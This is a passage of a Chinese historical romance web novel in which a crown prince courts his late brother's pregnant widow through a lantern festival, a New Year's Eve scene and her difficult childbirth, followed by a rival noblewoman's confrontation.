姜稚月之所以认识这东西,还是因着上次王吟霜送给自己的匣子里有。 那时候,她并没打算打开那个匣子,是后来有一次不小心被宋知凌翻了出来。 姜稚月还以为宋知凌会笑话她,没想到他一看见那些,眼神便深了,硬是等不及在天擦黑的时候,就缠着她用匣子里的东西要了她一次。 后来宋知凌才告诉她,那个东西叫羊眼圈。 察觉出姜稚月异常的反应,宋砚辞似乎往她脸上扫了一眼,那看过来的目光不知是不是姜稚月的错觉,总觉得有些意味深长。 姜稚月不清楚宋砚辞到底知不知道那个羊眼圈是干什么的,但她是无论如何也不能在这个摊子再待下去了。 她重重吞咽了一下口水,极轻地扯了扯宋砚辞的袖摆,撂下一句“我去那边看看。” 就头也不回地跑了。 一直跑到一个她确信,只是单纯卖珠宝的铺子旁,才抚着胸口长舒一口气停了下来。 她一面佯装看珠宝,余光一面往宋砚辞的方向看。 就见那摊主似乎在对宋砚辞说着什么,宋砚辞唇角含笑,颔首应了一声,随后朝她的方向指了指。 随着他的动作,姜稚月呼吸一滞,慌忙转回身来。 不知为何,昨夜的那一幕幕全都在一瞬间涌入了脑海。 黑夜中男人在耳畔压抑的重喘,那些强势的吻和掠夺,滚烫的触碰和最后的酸胀……姜稚月的心脏狂跳,身体忽然不受控制地莫名发热。 她急忙用自己冰凉的手背贴上脸颊,视线四处乱扫企图驱散心里的绮念。 然而刹那间,她的视线猛地定住了,原本的热意和旖旎,全都在瞬间消散干净。 她盯着那个不远处的背影,苍白的唇翕动,怔怔嗫嚅: “宋知凌。” 第57章 第57章“阿月,我们重新开始,…… “宋知凌——” 姜稚月又喊了一声,提起裙摆就朝那个背影奔了过去。 那男人也像是似有所感一般,脚步猛地停了下来。 四周人流攒动,人声沸沸扬扬,明晃晃的灯火如繁星般闪动,照得人眼底发晕。 姜稚月却觉得自己什么也看不见,什么也听不见了,一颗心随着那个男人緩慢转过来的动作而高高悬了起来。 然而等到那男人回身朝她正正看过来的时候,姜稚月只觉得那颗悬起的心猛地坠了下去。 ——不是他。 所有嘈杂的声音重回脑中。 她身子一软,像是失了所有力气般猛地晃了晃。 “当心!” 那男人飞快过来扶住她,待到姜稚月怔怔抬头,他蹙眉担忧道: “夫人哭了?” 姜稚月摸了摸自己的臉頰,这才察觉臉頰上早已冰凉一片。 她扯了扯唇角,竭尽全力露出一个比哭还难看的笑来,沙哑开口: “没、没事,认错人了,抱歉。” “夫人不必道歉。” 那人左右看了看,将姜稚月扶到一旁人少的地方坐下,掏出帕子: “夫人擦擦泪吧,您如今有孕,不能伤心。” “多谢。” 姜稚月接过帕子,却握在掌心没动。 “您说的人……与我长得很像么?” 姜稚月闻言,重新抬头看向男人。 这人的眉眼其实同宋知凌有几分相似,只是性格却大相径庭,所以如今再看,又觉得没那么相似了。 见她半天没出声,男人眼底闪过一抹精光,摸了摸自己的臉颊,笑道: “鄙人姓韩,家里是梧桐街开书铺的,夫人若是有需要,今后可来韩记书铺找我,对了——” 他往她隆起的小腹上瞧了眼: “您如今身怀有孕,这里人多不安全,不知家人现在何处?不如先随韩某回寒舍……” “不必麻烦了。” 姓韩的男人话未说完,姜稚月忽然听见身后传来宋硯辭的声音。 她的身子一僵,迟疑了片刻才转回头去看他。 宋硯辭背着光,颀长的身影玉立在嘈杂纷乱的街市中,芝兰玉树、清隽俊逸。 原本那姓韩的看起来已经十分俊朗溫雅了,但宋硯辭往他身边一站,立刻显得他泯然众人。 姜稚月有些看不清宋硯辭的神色,只感觉打从她转过去看他的时候,他的目光似乎就一直落在自己臉上。 她眨了眨眼,才要起身,手臂已先一步被宋砚辞扶住。 他将她拉起来,顺势搂在他的腰上,笑对姓韩的男人说: “多谢你照顾我夫人,方才实在是我倏忽,才让夫人落了单。” 那姓韩的闻言一怔。 宋砚辞自是知道他怎么想,笑道: “难不成……公子以为您的容貌与我夫人的夫君相像?” 姓韩的脸上闪过一抹不自然,干笑了两声: “自是没有,既然夫人的家人来了,韩某便告退了——” 他深深看了姜稚月一眼: “夫人保重。” 那姓韩的刚一走,姜稚月就迫不及待地从宋砚辞的怀里挣扎出来,满脸不自然地低声道: “你为何要对他说、说我是你夫人。” “那不然说什么?” 宋砚辞轻笑着弯身凑近她: “弟妹?” “就、就不能说妹妹么?” 姜稚月后退半步,被他盯得脸上像烧起来一样。 “也行。” 宋砚辞轻笑,拉过她的手握在掌心中: “阿月妹妹,我们是不是可以继续往前走了呢?” 姜稚月身子僵硬,抽了几下都未能将自己的手从他手中抽出来,只能任由他牵着自己。 如此逛了几个铺子,她便没有了兴趣。 宋砚辞瞧出她神情恹恹,停下来挑了挑眉: “不想逛了?” 姜稚月没说话。 宋砚辞沉吟了一下: “帶你去个地方?” 还不等姜稚月回话,他已经攥住她的手腕,将她帶上了马车。 宋砚辞的太子銮驾,不知何时起,在榻上安置了厚厚的棉垫,后背和桌角也被包上了软垫。 姜稚月坐在上面,丝毫感觉不到一丝颠簸。 马车很快在一处安静的地方停了下来。 姜稚月掀帘看出去,见是一处僻静的酒樓后门,不由心生警惕。 宋砚辞对她的反应似是感觉好笑,提了提唇角,眼底帶笑: “阿月何时胆子这般小了?怕我不成?” 姜稚月被他戳中了心思,脸颊上不由发烫。 她起身便大踏步朝外走去,“谁、谁怕了?” 这酒樓像是被人清过场,姜稚月才一进去就发现酒樓中空无一人。 她疑惑地往回看了一眼,见宋砚辞也气定神闲地跟了上来,心中的紧张感才慢慢消了下去。 宋砚辞领着她来到酒楼的最高层。 最高层的外围,有一个极大的露台。 “这家酒楼是京城最高的酒楼,能够俯瞰整个京城,你瞧,脚下不远就是宁望河。” 宋砚辞带着姜稚月来到栏杆边,对她指了指下面。 姜稚月顺着他的视線看过去。 底下街市热闹非凡,酒楼茶肆鳞次栉比,灯火璀璨如星,在隔了两条街的不远处果然有一条极宽的河流。 河面波光粼粼跳跃着晃动的月光,宛如星辰坠河一般。 河上有几条装点得繁贵富丽的画舫,最主要的是,在河边,姜稚月看到许多人手中都拿着一盞天灯。 见她疑惑,宋砚辞解释道: “今日冬雪节,人们会在子时钟声敲响的时候,放飞孔明灯,以求来年事事顺利,家人平安健康。” 他正说完,常乐恰好送了盞天灯过来。 宋砚辞笑着晃了晃手中的天灯: “我们也来点一盏?” 姜稚月没出声,宋砚辞接过常乐递来的笔,略一思索,兀自写了些什么。 写完将笔和灯往她面前一送,“你也写点什么?” 姜稚月摇了摇头,宋砚辞便也没在勉强。 夜渐渐深了,宁望河畔聚拢了越来越多的人群,灯火如同绵延百里的银河,晚宴在宁望河的两旁。 子时钟声一响,宋砚辞忽然握住姜稚月的手。 男人的手修长冷白,握在她的小手上,几乎将她的手完全包裹在掌心中。 男人掌心干燥的溫度贴着娇嫩的皮肤徐徐传来,姜稚月的心猛地一跳。 她任由他牵起她的手,带着她一起,将手中的孔明灯放飞。 下面河畔满是热闹欢腾的呼声,近千盏孔明灯几乎同一时间升起,刹那间点亮了整个夜空。 “阿月……” 宋砚辞回头看她。 微风将他溫柔的低语卷入姜稚月耳畔。 漫天绚烂的灯火中,男人的神色温柔到了骨子里,琥珀色的瞳眸中倒映着她小小的身影,似乎眼中再容不下旁的事物。 这一刻,像极了那年冬天在姜国,姜稚月初初喜欢上宋砚辞的时候。 她心动的那一刹那,也是和今日一般无二的场景,那时宋砚辞同样温柔笑看着她,低声近乎情人间的呢喃: “我的小阿月要一直快乐……” 那一瞬间,一股从未有过的悸动涌入心间,姜稚月知道,自己完了。 此刻姜稚月的心脏同样跳得剧烈,从前那种怦然心动的感觉仿佛隐隐萌了牙。 她喜欢他,全心全意地喜欢了好几年。 那种已近乎本能的情感,即便在此前被她狠狠掐断,但只要有一丝火星,就会控制不住的死灰复燃。 更何况,宋砚辞本就是世间少有的优秀男子,即便萍水相逢,也很难不对他动心,更遑论是从情窦初开时就一直喜欢他的她。 姜稚月耳中全是自己重而急促的心跳声。 她想从他温柔的漩涡中挣扎出来,却发现根本没有挣扎的余地。 宋砚辞轻轻环住她的腰身,弓身下来将唇凑近她耳垂,极轻地啄吻了一下。 “阿月,我们重新开始,好不好?” 耳垂上的触感,如同蜻蜓点在平静的湖面,在她心上荡开一圈甚于一圈的涟漪。 姜稚月只觉得胸腔里的心脏在极速跳动,男人身躯滚烫的温度晕染在她的身上、脸上,让她 呼吸困难,心里发慌。 她想要从他怀中挣脱出来,可极致的情绪却令她手脚发软。 宋砚辞将她翻了个身,抵在身后的柱子上。 他的视線从她眼底逡巡而过,削薄的眼皮下压,最后全都聚焦在她的唇瓣,緩緩低头。 就在他的呼吸近在咫尺的时候,姜稚月陡然攥紧手心,在最后一刻偏过了头。 男人微凉的唇瓣擦着她的唇角落下来,在那一片印出近乎滚烫的悸动。 姜稚月仓皇推开他,逃避般匆匆离开了露台。 回去的路上,马车中沉默得诡异。 姜稚月原本还觉得十分尴尬,然而坐着坐着,随着马车的颠簸,她到底没撑住,昏昏睡了过去。 宋砚辞瞧着身边的姑娘,视线缓缓打量过她隆起的小腹。 良久,他轻轻将人抱坐进怀中,两指捏住她的下颌抬高,拇指在少女鲜亮的唇瓣上重重摩挲了两下。 低头俯身,像是品尝一般,慢条斯理地含住了她的唇瓣。 几乎是在同一时间,宋砚辞喉结猛地溢出一声压抑的喘息,他瞬间压重了环住她脊背的力道,手背青筋爆了起来。 宋砚辞的眼皮下压,盯着少女纤长的眼睫和紧闭的双眸,喉结重重滚了两下,呼吸紧促着顶进了她的口中含搅。 不知过了多久,怀中的少女嘤咛出声,眼睫飞快颤动了几下,缓缓睁开了眼。 她瞧见自己此刻和宋砚辞的样子,先是一愣,随即脸色霎然一变,竭尽全力推开宋砚辞。 “你!” 姜稚月捂住唇瓣,泛红的眼眶中水雾氤氲,脸颊嫣红,说不清是被吻的,还是被气的。 宋砚辞掌住她的后颈,拇指轻轻曾过她的耳垂,语气沙哑而危险: “阿月,以后不许和别的男人说话,看一眼都不行。” 姜稚月蓦地瞪大眼睛,突然挺直脊背反驳他: “那人长得像宋知凌,我才、我才……” 对上宋砚辞幽深的目光,她的语气越来越弱: “我才多看了两眼。” “再说了!” 她气不过瞪了他一眼: “我看谁与你有什么关系?!你又凭什么偷偷亲我!” 姜稚月的话音刚落,便见男人的神色突然冷了下来。 马车中昏暗的灯打在他的侧脸,越发显得他五官锋利冷峻,眸光如一滩深不见底的幽泉,连光都透不进去一星半点。 无声的沉默中,对面之人视线紧紧落在了她水润红肿的唇上,掐在她颈后的手也微微用了力。 姜稚月心中莫名一阵悸动,紧张地往后缩了缩,重重吞咽了一下。 宋砚辞轻扯唇角,突然朝她俯下身来。 姜稚月瞧见他这幅样子,双手猛地环在胸前,眼睛紧闭大喊: “不看就不看!!你别过来!!” 喊完半天,见宋砚辞再没有进一步动作,姜稚月小心翼翼把眼睛睁开一条缝儿,就见他不知何时,早已坐回了自己的位置上。 他的手中正闲闲地把玩着一串玉佛珠,见她看过来,他还好整以暇地对她挑了下眉。 姜稚月:“……” “说好不看了?” 宋砚辞轻笑。 姜稚月心里憋着一股气,在这逼仄的马车里,男人的存在感太强,她又不敢真的对他发脾气。 最后思来想去,只能死死瞪着他,一副凶巴巴的模样,跟他讨价还价: “那你也要把那些画都撤下去!” “哪些?”宋砚辞语气中明显带着笑意。 姜稚月:“……就那些!暗、暗暗暗室里那些!” 她说得磕绊,一想起那些不堪入目的画,脸上就发烫,连带着瞪着宋砚辞的目光也虚了下去。 宋砚辞喉咙里溢出一丝闷笑,不紧不慢道: “阿月,下车了。” 姜稚月:“……” 第58章 第58章“让我拥有你一回。”…… 打从那次冬雪节回来之后,姜稚月和宋硯辭的关系变得有些微妙。 甚至过了没几日,宋硯辭还搬来了寝殿与她同住。 起初姜稚月也抗议过,但都拗不过宋硯辭各种“威逼利诱”的威胁,最后不得不妥协。 所幸他最近一段时间朝政繁忙,夜里回来也只是安静地睡在窗边的榻上,偶尔在夜间的时候,会起来伺候她喝水。 除此之外,再未有过任何逾矩之举。 久而久之,姜稚月也习惯了宋硯辭的存在,对他放松了警惕。 又过了一个多月,姜稚月已经怀有七个多月的身孕。 宋国的新年也在一片紛紛扬扬的大雪中来临。 除夕这日夜里,宋砚辞推了几家大臣的宴请,陪着姜稚月在寝殿里围炉煮雪。 炉子上放着几个板栗,香喷喷的味道飘散在大殿中的每个角落。 姜稚月托着腮,重重嗅了一下,忽然笑道: “执玉哥哥。” 她现在已经很少这般叫他了,宋砚辞闻言动作一顿,目光柔和地看过来。 姜稚月的小脸被炉中的光照得红扑扑的,明亮的眼底盛满了笑意。 “还记得吗?从前,我们三个就是这样。” 冬天漫长,又天寒地冻没什么可玩的。 再加之年节跟前,太子哥哥他们都很忙,也顾不上她。 于是往年的每一年冬天,姜稚月的大部分时间都是与宋砚辞和宋知凌厮混在一起的。 房间外大雪纷纷,寒风呼啸,而房间里暖烘烘的讓人出汗。 围炉煮茶,烤板栗,对弈,这些简单的事,便成了他们三人之间对于冬日最深的印象。 姜稚月从七岁的小女孩,与宋砚辞这般在冬雪中围着暖烘烘的炉子,一直到现在十七岁,在异国他乡,已快要为人母。 宋砚辞剥了一颗板栗,递到姜稚月唇边: “那时候,你因为手指被板栗壳扎破,哭了整整一日。” 圆圆的板栗被烤到出了油脂,橙黄黄的颜色托在男人冷白修长的手指上。 诱人的香甜随之盈满鼻腔。 姜稚月眨了眨眼,匆匆接过板栗塞入口中,咀嚼的动作勉强遮掩住她心底的慌乱。 宋砚辞一直在注视着她。 眼神温柔中透着深意,他的视线所到之处,姜稚月都觉得无比酥麻。 她有些无措地抿了抿唇,才要开口说些什么打破这奇怪的氛围,忽听宋砚辞喉结溢出一抹轻笑。 男人指腹轻轻摩挲在了她的唇上。 姜稚月的身子刹那间僵在了原地。 指腹上的温良触感,瞬间从唇瓣薄薄的皮肤传到了头皮,掀起一阵酥麻。 她不安地蹙了蹙眉,正要说话,宋砚辞将手收了回来,笑得温良无害: “唇上沾了板栗渣。” 姜稚月半信半疑地往他指腹上瞥了眼,却根本没发现他所谓的“板栗酥”。 不知是不是她的错觉,唇上被他捻过的地方泛着微微的熱。 姜稚月心里无端地起了慌乱,抬起手背狠狠擦了擦。 宋砚辞坐在对面,好整以暇地喝了口茶,对于她的小动作露出一抹分外纵容的笑意。 “张太医说,你大约会在三月底临盆,害怕么?” 宋砚辞剥了三颗板栗,放在白瓷小碟子里,推到姜稚月身前。 姜稚月搖搖头: “该准备的你提前都准备好了,即便是害怕也无济于事。” 她抿了抿唇,飞快看了他一眼: “那个……恰好四五月天气尚好,事宜出行,执玉哥哥与我父皇他们说好了么,他们什么时候来接我?” 宋砚辞的杯沿刚搭在唇上,闻言又放了下来。 他向后一靠,半眯着眼瞧了她片刻,笑道: “到时我亲自送你回去。” “?” 姜稚月诧异地抬头看他,原想着再细问下去,可对上他唇畔不知名的笑意,她心里突地跳了一下,到嘴的话也被她咽了下去。 总有种怪异的感觉。 她盯着炉中的火光,一时沉默了下来。 炉火中的炭似乎越烧越旺,未过一会儿,空气中的温度便明显升了上来。 姜稚月的鼻尖渗出了一层薄汗,小脸泛着酡红。 她不禁伸手烦躁地扯了扯衣襟。 “熱么?” 宋砚辞往她身上看了一眼,轻笑。 姜稚月搖了摇头,可未过多久,她又不自在地用手在颊边扇了扇风。 宋砚辞好笑地看着她: “如今殿中烧着地龙,又燃着炭,阿月穿这么多,怎能不熱?” “穿的多么?” 姜稚月觉得熱得她脑袋有些发懵。 她往自己身上看了看,又看了看宋砚辞身上薄薄的长衫,两厢一 对比,发现确实是自己穿的多了。 可……她总不能去換一身夏季的裙衫过来。 但若是脱了外罩,只穿里面的底裙,又觉得好似太过奇怪。 还是宋砚辞开口提醒了她: “如今已至亥时,即便要守岁,子时一过也该安寝了,既不出门,阿月何不換了寝衣来?” 姜稚月犹豫了一下,摇摇头,“我不热。” 宋砚辞瞧了她一眼,也没再劝,抬手把炭炉中的炭火熄灭了几块儿。 火光暗淡,姜稚月这才感觉到了一絲凉意。 可没过片刻,那股燥热似乎又卷土重来一般,甚至比之方才更甚。 她忍了好半天,实在忍不住,这才站起身来,略带扭捏地小声道: “我去、我去换身衣裳来。” 宋砚辞眼底含笑,面上神情并无一絲变化,只淡淡“嗯”了一声。 “去吧。” 换了一身夏日的寝衣,薄而柔软的料子穿在身上,总算讓姜稚月透了口气。 那丝侵扰她的燥热也没再出现。 她看着镜中小脸酡红的自己,长舒一口气。 ——看来自己方才是误会了宋砚辞,还以为他对自己做了什么。 换好寝衣刚一出去,姜稚月便见宋砚辞端了酒壶往杯中倒酒。 姜稚月闻出是此前那坛梅花酿的味道。 宋砚辞对她举了举手中的酒壶: “要喝点么?” 姜稚月想都不想,将头摇得飞快。 在原地踟躇了片刻,她才走过去坐下,觑着他的神色,终是问出了口: “孩子生下来,你当真会如约送我离开么?” 她的语调稍微沉了下来: “执玉哥哥,倘若你骗我,我这辈子都不会原谅你。” 宋砚辞端酒的手微微一抖,泛着淡淡桃色的酒液漾在他的虎口上。 他却似未曾察觉一般,轻撩眼帘晦涩地睨了她一眼: “你不信我?” “倒、倒也不是……” 姜稚月垂眸掩盖自己心底的慌乱,“只是……” 话未说完,视线里突然出现一片月白色袍角,旋即,男人的手搭在她的颈侧,轻柔地捻了捻她的耳垂。 像是一把火扔在了枯草垛上,姜稚月只觉得脑中“轰”的一下,全身血液像是被点燃了一般,耳垂的酥麻急速流窜至全身。 方才那股好不容易消息去的热意拱得更高。 几乎是一瞬间,她就察觉出了自己身子的变化。 “还是很热么?” 宋砚辞眼神下压,不等她回答,指腹沿着她耳后缓慢游移到襟口,微凉的触碰稍稍缓解了姜稚月身体的灼热。 他似笑非笑地盯着她,语气暧昧: “明明饮了酒的是我,阿月怎么瞧着像是醉了?” 姜稚月身上说不出的难受,一呼一吸间盡是滚烫的温度。 她咬着下唇,竭力克制住自己口中即将溢出的低吟,颦着一双眉怒瞪着他。 瞧着她的样子,宋砚辞一下就猜出了她心中所想。 他轻叹一声: “阿月不会以为我对你下药了吧?” 姜稚月用盡全力推开他,才刚迈出一步,双腿一软便又跌倒在了他的怀里。 宋砚辞轻搂着她的腰,神色中难得多了几分认真,凑近她的唇,似情人般低声呢喃: “阿月,倘若你当真要离开……” “此后再难相见,让我拥有你一回。” 他的意图再明显不过,眼底的欲//望似能将她燃烧。 姜稚月深知倘若他此刻要了她,自己毫无招架和反抗的余地,只能恨恨地从齿缝里挤出几个咬牙切齿的字: “宋砚辞你卑鄙……” 宋砚辞的眼神渐渐黯了下去,看了她许久,忽然嗤笑一声: “其实你从未相信过我。” “你……” 姜稚月气息不稳,心里又慌又怕,红了眼眶怒斥他: “你心术不正!你道貌岸然!你本就比不得宋知凌赤诚!你处处都是算计,让我如何相信你!” “姜稚月,这才是你的心里话吧?” 宋砚辞气笑了,掐着她的下巴逼她抬头: “我是道貌岸然,我是心术不正!你要不要看看,我还有更加道貌岸然的样子?!” 姜稚月双手扒着宋砚辞的手,眼底盈着泪: “宋砚辞你敢……” 宋砚辞“呵”了声,正要说话,门口忽然传来常樂的声音: “殿、殿下,芸夫人她突然呕血了!” 姜稚月和宋砚辞闻言都是一愣。 宋砚辞松开了姜稚月的手臂,看了她一眼,披上大氅匆匆离开了内殿。 宋砚辞一走,姜稚月脱力般瘫坐了椅子上,脑中胀得厉害,身上也忽冷忽热。 没过多久,锦葵端着一碗药走了进来。 姜稚月奇怪道: “今日的安胎药不是都已经喝过了么?” 锦葵搅动着白玉汤勺,解释道: “太医说今日的安胎药调整了药方,喝完后会觉得浑身体热,这碗药正是缓解那体热之症的,公主喝完了好安睡……公主怎的这般看着我?可是这药有什么问题?” 姜稚月从怔愣中回过神来,接过药碗仓促搅了两下,心神恍惚道: “没什么。” 原本以为宋砚辞这一去,半夜里就会回来。 姜稚月专门熬了会儿夜,想着等他回来当面对他道一声歉。 却不想一直等到姜稚月不知何时睡了过去,晨起的时候还未见到他回来。 从那日开始,宋砚辞似乎就变得很忙。 姜稚月再未见他回过寝殿。 正月过完后,宋砚辞干脆命令常樂将寝殿里属于他的东西又全部都搬走了。 姜稚月看着常乐忙前忙后指挥人将东西往出搬,忍不住上前问: “殿下这几日在忙什么?芸夫人如今怎么样了?” 常乐眼神微微闪躲,笑着打哈哈: “今日朝中事务繁忙,殿下怕夜里打搅到夫人休息,这才命老奴来将东西搬走,至于芸夫人嘛——” 常乐思忖着用词: “除了除夕那几日身体不适,如今已尽数痊愈,身子好着呢,夫人勿念。” 姜稚月拧眉: “他便是再忙,亲自来一趟的时间也没有么?” 常乐弯身干巴巴地笑了两声,没答话。 姜稚月扶着腰,视线从他脸上划过,好半晌,二话不说转身进了内室。 第59章 第59章“你就是太子殿下那位‘…… 打从除夕夜那次后,姜稚月已经有近三个月没见过宋硯辭的人影。 临安宫的一切起居用度却是照旧,甚至比之前还要好。 初春的气候温度微凉,草木渐渐抽了绿芽,風中都是欣欣向荣的味道。 这日午后,姜稚月歇晌起来,刚从花园里散步回来,便见院中站了位意想不到之人。 “……芸夫人?” 姜稚月已经很久没见过她了。 从在路上芸夫人胃疾犯了和他们分开后,她就再没见过她。 在她的印象中,芸夫人还是一个贤淑柔婉的弱女子。 可……眼前之人,若非那張面孔还有几分熟悉,姜稚月真的很难相信她就是芸夫人。 眼前的女子发絲凌乱,头发半黑半白,脸上皱纹沟壑深了许多,脸色苍白,两靥却异样得红,眼球浑浊毫无聚焦。 见到姜稚月,她眼睛猛地瞪大,疯了一般冲上来抓住她的肩膀: “你、你个贱人!!我总算见到你了!!” 她眼神往下扫向她高高隆起的小腹,像是猛然间收到了刺激,高声哭喊: “都怪你!!我儿就是放心不下你才赶去找你!!都怪你害死了他!!” 姜稚月被她晃得腿软,急忙扶住自己的小腹。 “芸夫人……你冷静些!” “冷静?!!” 芸夫人眼底猩红,指着她声嘶力竭道: “你讓我如何冷静?!!姜稚月!!那时候我就知道你会挑得我两个儿子不合!!只不过当时知凌一直袒护着你!!” 她的嗓音嘶哑,神色近乎巅峰。 姜稚月原本想躲开,但听她提起宋知凌,原本的动作又停了下来。 她死死攥住自己的掌心,听芸夫人接着道: “那时候我尚且相信你,想着能讓我儿喜欢的人定是不错,只要我儿开心,我便欣慰了!!可谁曾想!!你却害死了他!!早知当初,我就是以死相逼也不会让你跟宋知凌在一起!!尸骨无存啊!!我那么好的儿子,到头来落得个尸骨无存!!” “他那么喜欢你!!为了你,最后竟搭上了性命!!” 姜 稚月的心像是被谁捏住了一般,不停蜷缩,胸口也猛地透不过气来。 芸夫人哭喊着哭喊着,突然,话锋一变,直指着她,厉声骂道: “你害死了我的小儿子不说!!还要来毁了我的大儿子!!” “宋硯辭眼瞅着就要登上皇位!!却因不愿意娶安国公的嫡孙女而被百官百般阻拦!!他和知凌两人用了十几年筹谋的位置!!只差一步啊!!” “想不到他竟为了你不愿娶妻!!” “姜稚月!!你给我的两个儿子灌了什么迷魂汤??!!” 芸夫人越说越激动,最后理智全无,冲过来狠狠在她肩膀上一推: “你毁了我两个儿子!!你不是宋知凌的妻子吗?那你去死啊!!你下去陪他啊?!你怎么有脸苟活在世间!!还跟自己的大伯哥不清不楚?!” “你怎么有脸!!” 姜稚月被芸夫人连推了几下,一个趔趄险些摔倒。 刚进院子的锦葵吓得倒吸一口凉气,猛地扔了手中的盆,冲上来一把挥开芸夫人的手,紧紧扶住姜稚月。 “公主你没事吧?你……” 她的话音陡然停止在看见姜稚月身下血迹的瞬间。 沉默一息,临安宫内爆发出锦葵慌張的嘶喊: “公主!!” 宋硯辭下了朝匆匆赶到的时候,產房里姜稚月的声音已经弱了下去。 他的心一沉,猛地扯住恰好出来拿药的張太医,厉声吩咐: “无论如何,保住大人!需要什么尽管跟孤提。” 那张太医早就知道自家主子存的什么心思,忙不迭地应了声,拿药重新回了房间。 宋硯辭在门口等了会儿,一掀衣摆,也跟着闖了进去。 自是没人敢拦他。 他一路走到床跟前,寻了个不碍事的位置站着,隐隐能看到床上的小姑娘脸色煞白,额头上冷汗岑岑。 他皱了皱眉,几番克制才没有出声打搅大夫和產婆们接生。 “殿下,奴才给您搬了个椅子,你坐会儿吧?” 常乐见宋砚辞不声不響,一直站在床边,便寻了张椅子过来。 宋砚辞却是看都未看一眼。 他就只是负手站在能看到她的地方,不出声,也没有任何动作。 他不坐,屋中伺候的人也不敢动,除了床上围着的一圈人七嘴八舌忙活,偌大的殿中再无一絲声響。 直到天快亮的时候,随着一声婴儿的啼哭,產房里的所有人都松了一口气。 “恭喜夫人!是位小公子!” “殿下,母子平安!” 宋砚辞怔怔地看了眼报喜的产婆,和她手中的孩子,视线最后落在姜稚月累极睡着的小脸上。 不知看了多久,他喉结重重滚了几下,忽然侧过脸,仰头狠狠眨了几下眼。 “赏。” 男人的嗓音前所未有的沙哑,声音像是从干涩的喉咙里磨出来的,透着深深的疲倦。 姜稚月到底年纪小,庆幸的是那日芸夫人来的时候,也快到了她的预产期,并未落下什么病根儿。 再加之宫里的补品跟流水一样送过来。 未出半个月,她的身材就已经被养得纤细婀娜,身体也比之前还要健康。 锦葵替她梳洗,看着镜中主子红润的脸色和娇媚潋滟的眉眼,丝毫瞧不出是已经生过孩子之人。 “太子殿下从主子生产完那天就出京办事了,不过想来也快回来了,到时主子就可以跟他商量回姜国之事了。” 姜稚月闻言有片刻的沉默,随后笑着点了点头。 “听说哥哥他们又打了胜仗,也不知道什么时候能回来,还有阿姐,也不知和董家那位怎么样了!” 小姑娘眉眼盈盈,杏眸顾盼间比从前多了一丝不易察觉的妩媚,脸颊上的酒窝玉雪可爱。 “对了……” 她拿了一对白玉耳珰递给锦葵: “那日之后,你可打听到芸夫人怎么样了?” 锦葵替她将耳珰带上,摇头: “不知,不过公主不用担心,芸夫人再怎么样,那也是殿下的娘亲,殿下不会对她怎么样的。” 姜稚月若有所思地点点头。 其实那日,芸夫人说的那些话,并不是全无道理。 她若在这里一日,和宋砚辞纠缠不清一日,对她、对宋砚辞,甚至对死去的宋知凌来说,都是不公。 而其实打从除夕夜开始,她也一直都未见过宋砚辞了。 即便是她生完孩子后,除了在产房里听他安排将孩子抱给那位乳娘养之后,也就没见过他的影子。 不管姜稚月愿不愿意承认,她都能感觉到,宋砚辞似乎在有意躲着她。 姜稚月微微抬头,瞧了镜中的自己一眼,肩膀一松,深深呼出一口气。 “公主莫要叹气了,常乐说殿下怕您坐月子闷着,为您请来了戏班子,申时的时候,请您移步正厅呢。” 姜稚月没精打采地点点头。 及至快到申时的时候,锦葵正打算为姜稚月梳洗换衣,寝殿外却突然来了一位不速之客。 那是一个十五六岁的姑娘。 面容昳丽,一身红衣张扬,还不及殿中众人反应过来,她已经風風火火地闖进了殿中。 锦葵吓了一跳,下意识张开双臂护在姜稚月面前,大喝一声: “大胆!你是何人?!竟敢擅闯临安宫!” 锦葵的话刚说完,临安宫的几个侍卫太监立刻冲了进来,将那女子团团围住。 那女子往四周看了一眼,神色中不见丝毫慌乱,反倒回头越过锦葵,用视线打量上姜稚月,神色鄙夷: “你就是太子殿下那位‘弟媳’?” 她的语气明显带着一丝挑衅。 锦葵气不过,刚要说话,姜稚月将她拦了下来。 “我是,你是哪位?” 姜稚月上前一步,也学着她的模样,上下将她打量了一番。 那姑娘对于她这样打量她十分不爽,紧紧蹙起眉头,趾高气昂道: “我是安国公的嫡孙女馮叶华,我祖父是拥护太子殿下坐上储君之位的头等功臣,太子殿下能坐上如今的位置,我安国公一家功不可没。” 姜稚月听她这般自报家门,心中忍不住觉得好笑。 即便她从前再单纯,但长期浸润在宫中,听太子哥哥耳濡目染,也知道功高震主的道理。 这个安国公家的嫡孙女馮叶华,居然敢这般在宫中大放厥词。 姜稚月从前也是千娇百宠受不得半点委屈的性子,她听馮叶华说完,只漫不经心地掀了眼皮上下扫了一眼,转身就往旁边的妆台前走去。 “锦葵,待会儿还要听戏,还不快给我梳妆。” “你!” 馮叶华气急败坏地追过来,一把抓住她的手臂,气道: “你怎就这般不知羞耻?!你是太子殿下的弟媳,孩子都生了的人,如今却住在他的寝殿中!亏你还是姜国的公主,竟是连礼义廉耻都不要了?!” 姜稚月盯着她抓自己的手,语气冷了下来: “我姜国如何,我如何,还轮不到你来品评,我劝你最好松开!” 许是姜稚月的语气和气势令冯叶华没想到,她愣了一下,竟就真的松开了她的手臂。 锦葵急忙过来拉过姜稚月一看,不禁“呀”了一声,心疼地轻抚上她手腕上的红痕: “都红了!” 她气得不行,叉腰回头看向冯叶华: “冯姑娘!我们家公主跟你无冤无仇,你今日跑到人寝殿里蹬鼻子上脸,也不知道你安国公府是怎么教的你?!亏你还是安国公府的嫡孙女,连这些基本的礼貌都不懂!” “我再不懂,也比有些人强!勾引自己的大伯,不知羞耻!”冯叶华反唇相讥,“宫中早就有风言风语,说太子殿下与自己的弟媳纠缠不清。” 她看了姜稚月一眼,下巴微仰,眼底的鄙夷和不甘呼之欲出: “你可知太子殿下他明明差一步就能登基了,却为何迟迟不肯称帝?!就是因为你这个人的影响,他如今迫 不得已只能暂缓登基一事?!” 姜稚月回过头没看她,眼睫却轻微闪烁,手里的簪子在掌心压出深深的烙印。 这些话,同之前芸夫人与她说的如出一辙。 其实她隐约能够明白宋砚辞如今的处境。 大皇子虽然已经被解决了,但鄞王还在,皇室宗亲中大大小小的亲王也在。 他们这些世家大族,能够拥立宋砚辞登基,便能够再扶持另一个傀儡皇帝。 如今尚且还选择追随宋砚辞,不过是因他积威已久,且根基较牢。 但倘若他一直不娶妻,而跟自己的弟媳闹出风言风语—— 轻则群臣可以拿流言说事逼他让贤,重则,世家大族若是都瞧不见自家女儿登上后位的希望,极有可能联合起兵,另立新帝。 “我祖父乃群臣之首,你可知当初与太子殿下合作的时候,太子殿下就已经承诺会给我冯家一个后位,你……” “我会离开。” 姜稚月突然的话令冯叶华一愣。 她不确定道: “什、什么?” 